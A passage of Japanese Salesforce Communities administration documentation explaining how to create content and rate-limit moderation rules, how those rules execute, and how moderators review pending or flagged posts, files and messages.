• 各コンテンツルールには最大 3 個のキーワード条件と最大 10 個のメンバー条
件を含めることができます。

• コンテンツをブロックするルールが最初に実行され、続いてコンテンツを確
認し承認するルール、コンテンツを置き換えるルール、コンテンツにフラグ
を設定するルールの順に実行されます。複数のルールが同じアクションを実
行する場合、ルールが作成された日付を基準にして、古い順に実行されま
す。コンテンツを置き換えるルールは、コンテンツが確認ルールにも適用さ
れる場合は実行されません。つまり、コミュニティマネージャが元のコンテ
ンツを確認するようにします。

1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [モデレーション] > [ルール] > [モデレーションルール] をクリックし、変更す

るルールの横にある [編集] をクリックします。
3. ルールが要件を満たしていれば、[有効化] をクリックします。または、次の

項目をカスタマイズすることもできます。
• [名前] — ルールの名前を変更します。
• 一意の名前 — ルールの一意の名前を入力します。API が使用する一意の名前です。
• 説明 — 必要に応じて、説明を変更します。
• ルールを有効化 — ルールを有効化する場合に選択します。
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• 適用先 — このルールを適用するメンバー生成コンテンツのタイプを指定します。投稿とコメントは、
グループおよびユーザプロファイルで作成されたコンテンツにのみ適用されます。すべてのフィード種
別 (アンケートやリンクなど) がサポートされています。

• モデレーションアクション — 条件に一致したら実行する操作を変更します。
– [ブロック] は、コンテンツを公開できないようにします。
– [確認]により、「フィード投稿とコメントの承認」権限のあるユーザは公開前にコンテンツを承認で

きます。
– [置換]は、キーワードがアスタリスクで置換されたコンテンツを公開します。たとえば、「BadWord」

は「*******」になります。
– [フラグ] は、コンテンツを公開してから、自動的にそのコンテンツに不正フラグを設定します。

• メンバーへのメッセージ — コンテンツがブロックされたときにメンバーに表示される既存のポップアッ
プメッセージを変更します。メッセージを指定しないと、メンバーには標準メッセージ「このコミュニ
ティでは、%BLOCKED_KEYWORD%やその他の不適切な語を使用できません。コンテンツを確認してもう
一度お試しください。」が表示されます。%BLOCKED_KEYWORD% 変数には、ブロックされた語が 5 個ま
で表示されます。独自のカスタムメッセージでこの変数を使用することもできます。

ヒント: 国際的なコミュニティでは、このメッセージを翻訳できます。[設定] から、[クイック検索]

ボックスに「翻訳」と入力し、[翻訳]を選択します。メッセージを翻訳するには、[モデレーション
ルール] 設定コンポーネントを選択し、ルールが属するコミュニティを展開します。

• メンバー条件 — このルールを適用するメンバー条件を指定します。このルールをどのユーザに適用す
るか検討します。

• コンテンツ条件 — このルールを適用するコンテンツ条件を指定します。このルールをどの特定のキー
ワードに適用するか検討します。禁止されたキーワードのリストが作成されて、ルールに事前選択され
ます。リストの用語を追加または削除するには、[コンテンツ条件]をクリックして[禁止されたキーワー
ド] をクリックします。

4. [保存] をクリックします。
次の点に留意してください。
• メンバー条件を指定せずにコンテンツルールを有効化すると、ルールはすべてのメンバーに適用されます。
• コンテンツ条件を指定せずにコンテンツルールを有効化すると、ルールは次のいずれかを実行します。

– メンバーの投稿とコメントの作成をすべて制限
– 確認にすべての投稿を送信
– すべての投稿とコメントにフラグを設定

• メンバー条件とコンテンツ条件を選択すると、両方の条件が満たされる場合のみルールが適用されます。
• 条件の指定は省略できますが、ルールに条件を追加して特定のメンバーとコンテンツを対象にすることを

お勧めします。
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コミュニティをモデレートするコンテンツルールの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ルールを表示、作成、編
集、または削除する
• 「コミュニティの管

理」または「コミュニ
ティの作成および設
定」

および

コミュニティのメン
バーであること

メンバーが生成したコンテンツをモデレートするには、コミュニティ用のルー
ルを作成および変更します。コンテンツルールは、コミュニティをスパム送信
者や悪意のあるメンバーが作成した攻撃的な言葉や不適切なコンテンツから保
護します。メンバーが生成したコンテンツのブロック、置き換え、フラグ設定、
確認と承認を行うコンテンツルールを作成できます。
コミュニティがカスタマーサービス (Napili) テンプレートを使用している場合、
コミュニティメンバーによって作成された質問およびグループ投稿にモデレー
ションルールが適用されます。コミュニティが Salesforce タブと Visualforce を使用
している場合、モデレーションルールはパブリッシャーアクションでも実行で
きます。
メタデータ API または Tooling API を使用して、コンテンツルールを設定すること
もできます。
次の点に留意してください。
• 組織では、最大 30 個のルールを設定できます。これは、コミュニティ単位で

はなく組織単位の制限です。この制限には、コンテンツルールと処理数ルー
ルの両方が含まれます。

• 各コンテンツルールには最大 3 個のキーワード条件と最大 10 個のメンバー条
件を含めることができます。

• コンテンツをブロックするルールが最初に実行され、続いてコンテンツを確
認し承認するルール、コンテンツを置き換えるルール、コンテンツにフラグ
を設定するルールの順に実行されます。複数のルールが同じアクションを実
行する場合、ルールが作成された日付を基準にして、古い順に実行されます。コンテンツを置き換えるルー
ルは、コンテンツが確認ルールにも適用される場合は実行されません。つまり、コミュニティマネージャ
が元のコンテンツを確認するようにします。

ヒント: ルールを作成する前に、そのルールで使用する条件を作成することをお勧めします。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [モデレーションルール] をクリックし、[新規] をクリックして [コンテンツルール] を選択します。
3. 次の項目に入力します。

• 名前  — ルールの名前を入力します。
• 一意の名前  — ルールの一意の名前を入力します。API が使用する一意の名前です。
• 説明  — 必要に応じて、説明を入力します。
• ルールを有効化  — 選択されている場合、ルールが有効になります。
• 適用先  — このルールを適用するメンバー生成コンテンツのタイプを指定します。投稿とコメントは、

グループおよびユーザプロファイルで作成されたコンテンツにのみ適用されます。すべてのフィード種
別 (アンケートやリンクなど) がサポートされています。

• モデレーションアクション  — 条件に一致したら実行する操作を指定します。
– [ブロック] は、コンテンツを公開できないようにします。
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– [確認]により、「フィード投稿とコメントの承認」権限のあるユーザは公開前にコンテンツを承認
できます。

– [置換]は、キーワードがアスタリスクで置換されたコンテンツを公開します。たとえば、「BadWord」
は「*******」になります。

– [フラグ] は、コンテンツを公開してから、自動的にそのコンテンツに不正フラグを設定します。
• メンバーへのメッセージ  — コンテンツがブロックされたときにメンバーに表示されるメッセージを指定

します。メッセージを指定しないと、メンバーには標準メッセージ「このコミュニティで
は、%BLOCKED_KEYWORD%やその他の不適切な語を使用できません。コンテンツを確認してもう一度お
試しください。」が表示されます。%BLOCKED_KEYWORD% 変数には、ブロックされた語が 5 個まで表示
されます。独自のカスタムメッセージでこの変数を使用することもできます。

ヒント: 国際的なコミュニティでは、このメッセージを翻訳できます。[設定] から、[クイック検索]

ボックスに「翻訳」と入力し、[翻訳]を選択します。メッセージを翻訳するには、[モデレーション
ルール] 設定コンポーネントを選択し、ルールが属するコミュニティを展開します。

• メンバー条件  — このルールを適用するメンバー条件を指定します。このルールをどのユーザに適用す
るか検討します。

• コンテンツ条件  — このルールを適用するコンテンツ条件を指定します。このルールをどの特定のキー
ワードに適用するか検討します。

重要: 次の点に留意してください。
• メンバー条件を指定せずにコンテンツルールを有効化すると、ルールはすべてのメンバーに適用さ

れます。
• コンテンツ条件を指定せずにコンテンツルールを有効化すると、ルールは次のいずれかを実行しま

す。
– メンバーの投稿とコメントの作成をすべて制限
– 確認にすべての投稿を送信
– すべての投稿とコメントにフラグを設定
これは問題です。注意してください。

• メンバー条件とコンテンツ条件を選択すると、両方の条件が満たされる場合のみルールが適用され
ます。

• 条件の指定は省略できますが、ルールに条件を追加して特定のメンバーとコンテンツを対象にする
ことをお勧めします。

4. [保存] をクリックします。

関連トピック:

用語の翻訳
コミュニティをモデレートするコンテンツ条件の作成
コミュニティをモデレートするメンバー条件の作成

4081

コミュニティモデレーションの戦略およびツールSalesforce Communities の設定および管理



コミュニティをモデレートする処理数制限ルールの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ルールを表示、作成、編
集、または削除する
• 「コミュニティの管

理」または「コミュニ
ティの作成および設
定」

および

コミュニティのメン
バーであること

処理数ルールを作成、変更して、コミュニティでメンバー生成コンテンツが作
成される頻度を監視し、制限します。処理数ルールによって、同じメッセージ
を連続投稿してコミュニティを攻撃するスパム送信者やボットからコミュニティ
を保護できます。処理数ルールを作成してモデレータにスパム送信者のような
疑わしい動作を通知したり、直ちにメンバーを凍結したりできます。
各処理数ルールでは、通知と凍結という 2 つのアクションが制御されます。処
理数ルールは、両方または一方のみのアクションに設定できます。処理数ルー
ルは投稿、コメント、ファイル、および非公開メッセージに適用できます。カ
スタマーサービス (Napili) テンプレートを使用するコミュニティでは、質問と回
答が含まれます。
次の点に留意してください。
• 組織では、最大 30 個のルールを設定できます。これは、コミュニティ単位で

はなく組織単位の制限です。この制限には、コンテンツルールと処理数ルー
ルの両方が含まれます。

• 各ルールには最大 10 個のメンバー条件を含めることができます。

ヒント: ルールを作成する前に、そのルールで使用するメンバー条件を作
成することをお勧めします。

1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [モデレーションモデレーションルール] をクリックし、[新規] をクリックし

て [処理数ルール] を選択します。
3. 次の項目に入力します。

• 名前  — ルールの名前を入力します。
• 一意の名前  — ルールの一意の名前を入力します。API が使用する一意の名前です。
• 説明  — 必要に応じて、説明を入力します。
• ルールを有効化  — 選択されている場合、ルールが有効になります。
• 適用先  — このルールを適用するメンバー生成コンテンツのタイプを指定します。投稿とコメントは、

グループおよびユーザプロファイルで作成されたコンテンツにのみ適用されます。
• メンバー条件  — このルールを適用するメンバー条件を指定します。このルールをどのユーザに適用す

るか検討します。
一般的にスパム送信者は新規メンバーです。過去 7 日間に作成されたカスタマーユーザのみを含むメン
バー条件を作成することをお勧めします。

メモ:

– 処理数ルールは内部ユーザには適用されません。内部ユーザを含むメンバー条件を使用できま
すが、そのルールは内部ユーザには適用されません。

– メンバー条件を指定せずに処理数ルールを有効化すると、ルールはすべての外部ユーザに適用
されます。

• コンテンツ作成の期間条件  — 使用する期間を選択します。
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• モデレータに通知  — 数値を入力します。メンバーが設定された期間にこの頻度でコンテンツを作成する
と、モデレータにメールが送信されます。

• メンバーを凍結  — 数値を入力します。設定された期間にこの頻度でコンテンツを作成すると、メンバー
は凍結されます。

重要: 凍結されるメンバーは、メンバーであるすべてのコミュニティで凍結されます。

メールは「コミュニティユーザのモデレート」権限を持つユーザにも送信されます。モデレータには必ず
この権限を割り当てます。メールは、ユーザが Chatter メールをオフにしていても送信されます。

4. 変更内容を適用するには、[保存] をクリックします。

例: 次の処理数ルールを例として使用しましょう。
適用先: 投稿および非公開メッセージ
メンバー条件: 過去 7 日間に作成された顧客ユーザ
コンテンツ作成の期間条件: 3 分間
モデレータに通知: 6

メンバーを凍結: 10

この処理数ルールを使用した場合、メンバーが制限に達すると次のようになります。

メンバーを凍結モデレータに通知3 分間にメンバーが作成したもの...

4 個の投稿と 2 個の非公開メッセージ

6 個の投稿

6 個のコメント

8 個の投稿と 2 個の非公開メッセージ

10 個の投稿

10 個のコメント

この値のような処理数ルールを使用すると、コミュニティがスパム送信者やボットから保護されますが、
新規メンバーを支援することもできます。たとえば、脅威にはならないメンバーが早く回答をもらおう
と質問を何度も投稿した場合などです。処理数ルールでは、保護だけではなく、困っているメンバーを
助けることもできます。
次の例は、非公開メッセージ専用に設定されたルールです。
適用先: 非公開メッセージ
メンバー条件: 過去 3 日間に作成された顧客ユーザ
コンテンツ作成の期間条件: 15 分間
モデレータに通知: 1

メンバーを凍結: 3
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この処理数ルールは、非公開メッセージを介して攻撃するスパム送信者からコミュニティを保護します。

処理数ルールが機能しませんでした。なぜでしょうか?

待ちましょう。処理数制限ルールは正確には見えないことがありますが、実際は正確です。信頼してくだ
さい。たとえば、3 分間に 10 回コンテンツを作成したらメンバーを凍結する処理数ルールを設定するとし
ます。最初の 3 分間が終わるまでにメンバーは 9 件作成できます。この場合、メンバーは 2 回目の 3 分間で
さらに 10 件投稿するまでは凍結されません。
使用しているメンバー条件を確認します。たとえば、コミュニティに寄稿していないユーザを絞り込むメ
ンバー条件を使用する処理数ルールがあるとします。メンバーが投稿またはコメントを 1 度でも行った後
は、そのメンバーにルールは適用されず、設定された凍結制限にメンバーが達することはありません。

関連トピック:

コミュニティをモデレートするメンバー条件の作成

コミュニティモデレーションルールを実行する方法と状況は?

コンテンツをブロックするルールが最初に実行され、続いてコンテンツを確認し承認するルール、コンテンツ
を置き換えるルール、コンテンツにフラグを設定するルールの順に実行されます。
複数のルールが同じアクションを実行する場合、ルールが作成された日付を基準にして、古い順に実行されま
す。コンテンツを置き換えるルールは、コンテンツが確認ルールにも適用される場合は実行されません。つま
り、コミュニティマネージャが元のコンテンツを確認するようにします。サーバでは、Salesforceによりコミュ
ニティルールが標準の実行順序で実行されます。
コンテンツをブロックするルールは、システム検証時に実行されます。コンテンツをブロックするルールで
は、before トリガによって加えられた変更は無視されます。たとえば、before トリガによりフィード投稿
が変更された場合、コンテンツをブロックするモデレーションルールでは変更後のコンテンツが認識されず、
元のコンテンツで実行されます。
コンテンツを確認し承認するルールは、データベースの保存前に実行されます。これらのルールは、コンテン
ツを置き換えるルールの前に実行されます。
コンテンツを置き換えるルールは、データベースの保存前に実行されます。
コンテンツにフラグを設定するルールは、ワークフロールールの後で実行されます。

関連トピック:

Apex 開発者ガイド: トリガと実行順序
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レコードフィードのモデレーションの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ルールを表示、作成、編
集、または削除する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

コミュニティ内から表示できるレコードフィードのコメントまたは投稿に対し
てモデレーションルールを実行します。レコードフィードのモデレーションに
より、メンバーの投稿またはコメントがコミュニティのガイドラインに準拠す
るようになります。
メンバーはフィードのあるレコードタイプで投稿またはコメントができます。
コミュニティに設定されたモデレーションルールにより、ルールの条件を満た
していない投稿またはコメントが捕捉されます。レコードフィードのフラグは、
フラグが付けられたコミュニティ内のみに表示されます。さらに、内部ユーザ
のフィード活動がフラグ付けされないように、内部ユーザのモデレーションルー
ルをオフにできます。
1. [クイック検索/検索] バーに[コミュニティ設定]と入力します。
2. [モデレーションは、表示されている場所に関係なくすべてのフィード投稿に

適用されます] の横にあるボックスをクリックします。
3. [保存] をクリックします。

例:  [コミュニティ設定] からのレコードフィードのモデレーションの有効化
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コミュニティの投稿およびコメントの確認と承認

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティフィードで
確認待機中の投稿および
コメントを承認、削除、
編集する

メモ: 著者は待機中
の投稿とそれに対す
る待機中のコメント
を両方とも投稿して
いれば表示できま
す。

• 「フィード投稿とコメ
ントの承認」

コミュニティワークス
ペースまたは [コミュニ
ティ管理] で確認待機中の
投稿およびコメントを承
認、削除、編集する
• 「フィード投稿とコメ

ントの承認」

および

「コミュニティ管理に
アクセス」または「コ
ミュニティの管理」ま
たは「コミュニティの
作成および設定」

および

アクセスしようとする
[コミュニティ管理]
ページのコミュニティ
メンバーである

コンテンツを確認し、承認する事前モデレーションルールによって、非準拠ま
たは不適切なコンテンツがコミュニティ内のすべてのユーザにすぐに表示され
ないようにできます。確認待機中の投稿およびコメントはコミュニティフィー
ドには表示されず、著者とコミュニティモデレータのみがフィードで参照でき
ます。著者は待機中の投稿とそれに対する待機中のコメントを両方とも投稿し
ていれば表示できます。ルールを設定すると、モデレータは直接コミュニティ
フィードで、またはコミュニティワークスペースや [コミュニティ管理] でコン
テンツを承認できます。
投稿およびコメントを確認し、承認するモデレーションルールを設定するには、
[モデレーションルール]へ移動して [確認]アクションを使用するコンテン
ツルールを作成します。次に、コンテンツを確認するルールの使用方法を
いくつか示します。
セルフサービスコミュニティ

コミュニティのメンバーにセルフ登録が許可されていますか? すべての
セルフ登録ユーザの質問を確認および承認するルールを設定できます。
ゲストユーザプロファイルのみを含み、過去 7 日間に作成されたメン
バーに絞り込むメンバー条件を使用します。
スパム送信者によってコミュニティが攻撃されたことがありますか? ゲ
ストユーザプロファイルのみを含み、コミュニティに寄稿したことのな
いメンバーに絞り込むメンバー条件を使用します。

パートナーコミュニティ
パートナーが最近の買収やその他の機密取引について話し合っていない
ことを確認したいと考えていますか? 「買収」や「合併」などのキーワー
ドを含む投稿およびコメントを確認するルールを設定できます。

従業員コミュニティ
コミュニティで HIPAA コンプライアンスが必要ですか? すべての従業員
の投稿およびコメントを確認するルールを設定します。

メモ: ユーザがモデレーションルールを作成するには「コミュニティ
の管理」または「コミュニティの作成および設定」権限が必要です。

承認されるまで、投稿またはコメントのヘッダーには [確認待機中] と表示
されます。投稿またはコメントが確認待機中でも著者は編集または削除で
きますが、コメントはできません。著者は待機中の投稿とそれに対する待
機中のコメントを両方とも投稿していれば表示できます。著者が投稿また
はコメントを編集できないようにするには、特定のユーザのフィード投稿
編集を無効にします。
コミュニティで投稿およびコメントを確認して承認するには、次の 2 つの
方法があります。
• 事前設定されたインサイトレポートをコミュニティワークスペースまた

は [コミュニティ管理] で使用します。
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Salesforce Communities Management パッケージで提供される待機中インサイトレポートを使用します。このレ
ポートでは、コミュニティで確認待機中の投稿およびコメントのすべてを表示できます。インサイトレポー
トには投稿およびコメントのコンテンツが表示されるので、コンテンツがスパムか無害かをすばやく評価
できます。これで、レポートから直接項目を承認するか、削除できます。また、一括アクションを実行し
て、複数の項目を一度に承認できます。
このレポートを取得するには、Salesforce Communities ManagementパッケージをAppExchangeからインストール
します。詳細は、「ダッシュボードおよびインサイトパッケージを使用したコミュニティのレポート」を
参照してください。

• コミュニティフィードから直接投稿およびコメントを承認します。
コミュニティフィードで、「フィード投稿とコメントの承認」権限のあるユーザには、追加のアクション
が投稿またはコメントのドロップダウンメニューに表示されます。項目が不適切な場合、ユーザが削除で
きます。項目に入力ミスがある場合は、編集できます。

項目が承認されると、項目が承認されたことを知らせるメールが著者に送信されます。このメールには、項目
へのリンクが記載されています。@メンション通知などのメール通知は、項目が承認された後にのみ送信され
ます。

関連トピック:

コミュニティをモデレートするコンテンツルールの作成
フィード投稿およびコメントの編集の概要
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コミュニティのフラグ付き投稿およびコメントのモデレート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

フラグ付き項目の表示、
フラグの削除、投稿また
はコメントの削除を行う
• 「コミュニティフィー

ドのモデレート」

コミュニティワークス
ペースまたは [コミュニ
ティ管理] で投稿およびコ
メントをモデレートする
• 「コミュニティ管理に

アクセス」または「コ
ミュニティフィードの
モデレート」

および

「コミュニティの管
理」または「コミュニ
ティの作成および設
定」

および

アクセスしようとする
[コミュニティ管理]
ページのコミュニティ
メンバーである

コミュニティモデレータは、コミュニティのメンバーが不適切とフラグ付けし
た投稿とコメントのリストを確認し、対応策を実行できます。グループ所有者
またはグループマネージャは、各自のグループの項目のフラグを表示し、対応
策を実行できます。
フラグが設定された投稿やコメントは、投稿日またはコメント日の横に小さな
オレンジのフラグが表示されます。フラグの横にある数値は、項目にフラグを
設定した人の数を示します。モデレータは、各項目をレビューして、対応策を
実行するかどうかを決定します。
次の点に留意してください。
• モデレータが表示および操作できるのは、アクセス権のある項目のみです。
• コミュニティのグループ内のグループの所有者またはマネージャは、フラグ

を表示または削除したり、必要に応じて投稿、コメント、ファイルを削除し
たりするなど、各自のグループの項目をモデレートできます。

• コミュニティで [メンバーにコンテンツのフラグの設定を許可] が無効になっ
ている場合、モデレータは項目にフラグを付けることと、フラグ付き項目を
表示することしかできません。

次に、フラグ付き投稿とコメントをモデレートする方法をいくつか示します。
• [モデレーションの概要] ホームアプリケーションからフラグ付き投稿および

コメントを表示します。
• 事前設定されたインサイトレポートをコミュニティワークスペースまたは[コ

ミュニティ管理] で使用します。
Salesforce Communities Management パッケージで提供されるフラグ付き投稿レ
ポートとフラグ付きコメントレポートを使用します。これらのレポートによ
り、コミュニティでフラグが設定された投稿とコメントを迅速に管理できま
す。投稿やコメントのコンテンツを確認してから、フラグを削除するか投稿
やコメントを削除します。複数の項目を同時に選択することもできます。
このレポートを取得するには、Salesforce Communities Managementパッケージを
AppExchangeからインストールします。詳細は、「ダッシュボードおよびイン
サイトパッケージを使用したコミュニティのレポート」を参照してくださ
い。

• フラグ付きフィードを Chatter で使用します。
Salesforceタブ + Visualforceコミュニティを使用している場合は、コミュニティ
のChatterメニューを使用して、フラグ付き投稿とコメントのリストを表示で
きます。フラグ付きフィードを表示するには、[メンバーにコンテンツのフラグの設定を許可する]設定を有
効にする必要があります。
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• カスタムリストを使用してモデレートします。Apex の Chatter REST API または ConnectApi を使用して、フラグ
付き投稿とコメントのリストを公開できます。

• 通知メールから投稿またはコメントへのリンクをクリックします。
• フラグを削除するかフィードのコンテンツを削除することによって、コミュニティのコンテキスト内で直

接モデレートします。

ヒント: コミュニティで項目にフラグが設定されるたびにメールを受信するには、[メール設定] ページの
[項目に不正フラグを付ける] チェックボックスをオンにします。

関連トピック:

Chatter REST API 開発者ガイド
Apex 開発者ガイド
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コミュニティでフラグが設定されたファイルのモデレート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ファイル詳細ページを表
示する、フラグを削除す
る、ファイルを削除する
• 「コミュニティファイ

ルのモデレート」

[コミュニティ管理]でファ
イルをモデレートする
• 「コミュニティファイ

ルのモデレート」

および

「コミュニティ管理に
アクセス」または「コ
ミュニティの管理」ま
たは「コミュニティの
作成および設定」

および

コミュニティのメン
バーであること

コミュニティモデレータは、コミュニティのメンバーが不適切またはスパムと
フラグ付けしたファイルのリストを確認し、対応策を実行できます。グループ
所有者またはグループマネージャは、各自のグループのファイルのフラグを表
示し、対応策を実行できます。
コミュニティのメンバーが、機密情報が含まれているか内容が攻撃的な、不適
切なファイルを投稿する可能性があります。他のコミュニティメンバーは、こ
のようなファイルを確認するためにフラグ付けすることができます。フラグ付
きファイルには、小さいオレンジのフラグが表示されます。フラグの横にある
数値は、項目にフラグを設定した人の数を示します。
次の点に留意してください。
• モデレータが表示および操作できるのは、アクセス権のある項目のみです。
• コミュニティグループ内のグループの所有者およびマネージャは、コミュニ

ティで [メンバーにコンテンツのフラグの設定を許可する] が有効になってい
る場合、自分が所有および管理するグループのファイルを確認してフラグを
削除できます。

• コミュニティで [メンバーにコンテンツのフラグの設定を許可] が無効になっ
ている場合、モデレータは項目にフラグを付けることと、フラグ付き項目を
表示することしかできません。

次に、フラグ付きファイルをモデレートする方法をいくつか示します。
• フラグ付きファイルのインサイトレポートには、[コミュニティ管理] の [モデ

レーションの概要] ページから直接アクセスします。
• 事前設定されたインサイトレポートを [コミュニティ管理] またはコミュニ

ティワークスペースで使用します。
Salesforce Communities Managementパッケージで提供されるフラグ付きファイル
レポートを使用します。このレポートでは、フラグ付きファイルの名前、作
成者、フラグ設定者、ファイルのフラグ数を確認できます。リンクをクリッ
クしてファイルを開き、コンテンツを確認できます。その後、フラグを削除
するかファイルを削除できます。複数の項目を同時に選択することもできま
す。
このレポートを取得するには、Salesforce Communities ManagementパッケージをAppExchangeからインストール
します。詳細は、「ダッシュボードおよびインサイトパッケージを使用したコミュニティのレポート」を
参照してください。

• カスタムリストを使用してモデレートします。Apex の Chatter REST API または ConnectApi を使用して、フラグ
付きファイルのリストを公開できます。

• フラグを削除するかファイル詳細ページでコンテンツを削除することによって、コミュニティのコンテキ
スト内で直接モデレートします。

ヒント: コミュニティで項目にフラグが設定されるたびにメールを受信するには、[メール設定] ページの
[項目に不正フラグを付ける] チェックボックスをオンにします。
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コミュニティで許可されるファイルのサイズおよび種類を制限するには、[管理個人設定] ページに移動しま
す。

関連トピック:

Chatter REST API 開発者ガイド
Apex 開発者ガイド
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コミュニティのフラグが設定されたダイレクトメッセージのモデレート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[コミュニティ管理]または
コミュニティワークス
ペースでメッセージをモ
デレートする
• 「コミュニティ Chatter

メッセージのモデレー
ト」

および

「コミュニティ管理に
アクセス」または「コ
ミュニティの管理」ま
たは「コミュニティの
作成および設定」

および

コミュニティのメン
バーであること

フラグが設定されたメッ
セージのコンテンツを表
示する
• 「コミュニティ Chatter

メッセージのモデレー
ト」

および

「Chatter メッセージと
ダイレクトメッセージ
の管理」

コミュニティメンバーは、カスタマーサービス (Napili) テンプレートを使用して
作成されたコミュニティでメッセージにフラグを設定できます。コミュニティ
のモデレータは、コミュニティのメンバーが不適切またはスパムとしてフラグ
設定したダイレクトメッセージのリストを確認して、対応策を実行できます。
「コミュニティ Chatter メッセージのモデレート」権限がある場合、モデレータ
はフラグが設定されたダイレクトメッセージのコンテンツの参照、フラグの削
除、フラグが設定されたメッセージの削除を実行できます。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [コミュニティ管理] で、[モデレーション] > [フラグ付き]に移動し、ドロップ

ダウンメニューから [ダイレクトメッセージ]を選択して、フラグが設定され
た項目を絞り込みます。

3. フラグが設定されたメッセージを確認して、対応策を実行します。

ヒント: コミュニティでメッセージにフラグが設定されるたびにメールを
受信するには、[メール設定] ページの[項目に不正フラグを付ける]オプショ
ンを選択します。メールを受信するには、「コミュニティ Chatter メッセー
ジのモデレート」権限と「コミュニティフィードのモデレート」権限が必
要です。メール設定を実行するには、コミュニティ内のプロファイルペー
ジに移動し、右上隅のドロップダウンボタン ( ) をクリックします。次
に、[私の設定] を選択し、[メール設定] をクリックします。
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コミュニティのフラグが設定された非公開メッセージのモデレート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[コミュニティ管理]または
コミュニティワークス
ペースでメッセージをモ
デレートする
• 「コミュニティ Chatter

メッセージのモデレー
ト」

および

「コミュニティ管理に
アクセス」または「コ
ミュニティの管理」ま
たは「コミュニティの
作成および設定」

および

コミュニティのメン
バーであること

レポートでフラグが設定
されたメッセージのコン
テンツを表示する
• 「コミュニティ Chatter

メッセージのモデレー
ト」

SOAP API でフラグを削除
するか、メッセージを削
除する
• 「すべてのデータの編

集」

コミュニティのモデレータは、コミュニティのメンバーが不適切またはスパム
としてフラグ設定した Chatter メッセージのリストを確認して、対応策を実行で
きます。
「コミュニティ Chatter メッセージのモデレート」権限がある場合、ユーザはメ
ンバーとなっているコミュニティでのみメッセージのコンテンツの参照、フラ
グの削除、メッセージの削除を実行できます。この権限では、フラグが設定さ
れたメッセージのみ削除できます。[すべてのデータの編集] 権限があると、モデ
レータは SOAP API でフラグの削除やメッセージの削除を実行できます。
「Chatter メッセージの管理」権限ではなく、「コミュニティ Chatter メッセージ
のモデレート」権限をモデレータに割り当てます。「Chatter メッセージの管理」
権限では、Salesforce 組織全体のすべてのメッセージを表示できます。セキュリ
ティとプライバシーに関する懸念事項を回避するため、モデレータとマネージャ
に適切な権限があることを再確認します。

重要: 次の制限に注意してください。
• コミュニティメンバーは、メンバーではないコミュニティ、またはユー

ザに対してフラグ設定が有効になっていないコミュニティから送信され
たメッセージにフラグを設定することはできません。

• ユーザは、内部組織、Salesforce1、パートナーポータル、およびカスタ
マーポータルでは、メッセージにフラグを設定することはできません。

フラグが設定されたメッセージをコミュニティで監視および管理するには、い
くつかの方法があります。
• フラグ付きファイルのインサイトレポートには、[コミュニティ管理] の [モデ

レーションの概要] ページから直接アクセスします。
• 事前設定されたインサイトレポートを [コミュニティ管理] またはコミュニ

ティワークスペースで使用します。
Salesforce Communities Managementパッケージで提供される、フラグが設定され
た非公開メッセージレポートを使用します。このレポートにより、トレンド
を追跡し、コミュニティで発生するメッセージのスパム攻撃を常に把握でき
ます。メッセージの送信者、コンテンツ、送信日時、メッセージにフラグ設
定したユーザを確認できます。このレポートを使用してメッセージのフラグ
解除やメッセージの削除ができます。
このレポートを取得するには、Salesforce Communities Managementパッケージを
AppExchangeからインストールします。詳細は、「ダッシュボードおよびイン
サイトパッケージを使用したコミュニティのレポート」を参照してくださ
い。

• 独自のレポートを作成する。
まず、[ネットワーク] を主オブジェクト、[ネットワーク監査] を第 2 オブジェクトとして使用して、カス
タムレポートタイプを作成します。次に、新しいカスタムレポートタイプを使用してレポートを作成し、
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[Chatter メッセージ]に設定された [監査オブジェクト種別]に項目検索条件を追加します。APIを使用し
て、フラグが設定されたメッセージを削除します。

• フラグが設定されたメッセージを API から直接クエリして削除する。

ヒント: コミュニティでメッセージにフラグが設定されるたびにメールを受信するには、[メール設定] ペー
ジの [項目に不正フラグを付ける] オプションを選択します。メールを受信するには、「コミュニティ
Chatter メッセージのモデレート」権限と「コミュニティフィードのモデレート」権限が必要です。メール
設定を実行するには、コミュニティ内のプロファイルページに移動し、右上隅のドロップダウンボタン
( ) をクリックします。次に、[私の設定] を選択し、[メール設定] をクリックします。

関連トピック:

ユーザの Chatter メッセージの定義に関するガイドライン
ダッシュボードおよびインサイトパッケージを使用したコミュニティのレポート
SOAP API 開発者ガイド: ChatterMessage

Apex 開発者ガイド: トリガを使用した Chatter 非公開メッセージのモデレーション

項目にフラグを設定する Apex トリガの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

トリガを作成する
• 「すべてのデータの編

集」

トリガを使用して、コミュニティで項目に自動的にフラグを設定する高度なカ
スタムモデレーションロジックを作成します。

ヒント: この操作を UI で実行できます。ほとんどのコミュニティでは、カ
スタムモデレーショントリガは必要ありません。モデレーションルールと
条件は、コミュニティワークスペースまたは [コミュニティ管理] で直接作
成できます。詳細は、「コミュニティモデレーションルール」を参照して
ください。

トリガを使用して自動的に項目にフラグを設定すると、コミュニティをバック
グラウンドでモデレートできます。このようなフラグは、モデレータにのみ表
示されます。コミュニティワークスペースまたは [コミュニティ管理] でのフラ
